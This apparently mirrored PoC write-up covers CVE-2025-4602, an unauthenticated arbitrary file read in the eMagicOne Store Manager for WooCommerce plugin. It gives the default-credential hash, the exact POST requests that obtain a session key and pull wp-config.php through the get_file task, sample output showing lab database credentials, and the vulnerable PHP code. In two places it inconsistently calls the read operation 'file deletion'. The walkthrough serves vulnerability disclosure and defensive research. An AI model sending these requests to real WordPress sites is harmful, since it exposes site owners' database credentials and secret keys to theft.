Associated Vulnerability
Title:eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read (CVE-2025-4602)Description:The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Reads in all versions up to, and including, 1.2.5 via the get_file() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Description
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read
Readme
# eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read
The [eMagicOne Store Manager for WooCommerce](https://wordpress.org/plugins/store-manager-connector/) plugin exposes a remote management protocol endpoint (`?connector=bridge`) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (`login=1`, `password=1`) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.
## Reproduction
A POC [CVE-2025-4602.py](./CVE-2025-4602.py) is provided to demonstrate reading the `wp-config.php` file from the server.
```
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );
/** Database username */
define( 'DB_USER', 'homestead' );
/** Database password */
define( 'DB_PASSWORD', 'secret' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
```
## Vulnerable Flow
### Default Credentials and Hash Calculation
On plugin activation, the following constants are set in `smconnector.php`:
```php
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
```
The default hash used for authentication is:
```php
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
```
**Result:** The default hash is `md5('1' . '1')` = `c4ca4238a0b923820dcc509a6f75849b`.
### Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., `get_version`):
```http
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
```
**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~441-525):
```php
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
```
---
### Session Key Storage
The session key is stored in the `wp_smconnector_session_keys` table:
```php
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
```
### Arbitrary File Read
With a valid session key, an attacker can read a files using the `get_file` task:
```http
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
```
**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~2219+):
```php
2219 /** Get file */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( 'File is missing' );
2248 }
2249 }
```
File deletion in `class-emosmcwoocommerceoverrider.php` (lines ~380+)::
```php
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
```
**Result:** The file is returned from the server.
File Snapshot
[4.0K] /data/pocs/3009f048521246dc16baa40f587d86961cf56425
├── [2.3K] CVE-2025-4602.py
└── [6.3K] README.md
0 directories, 2 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →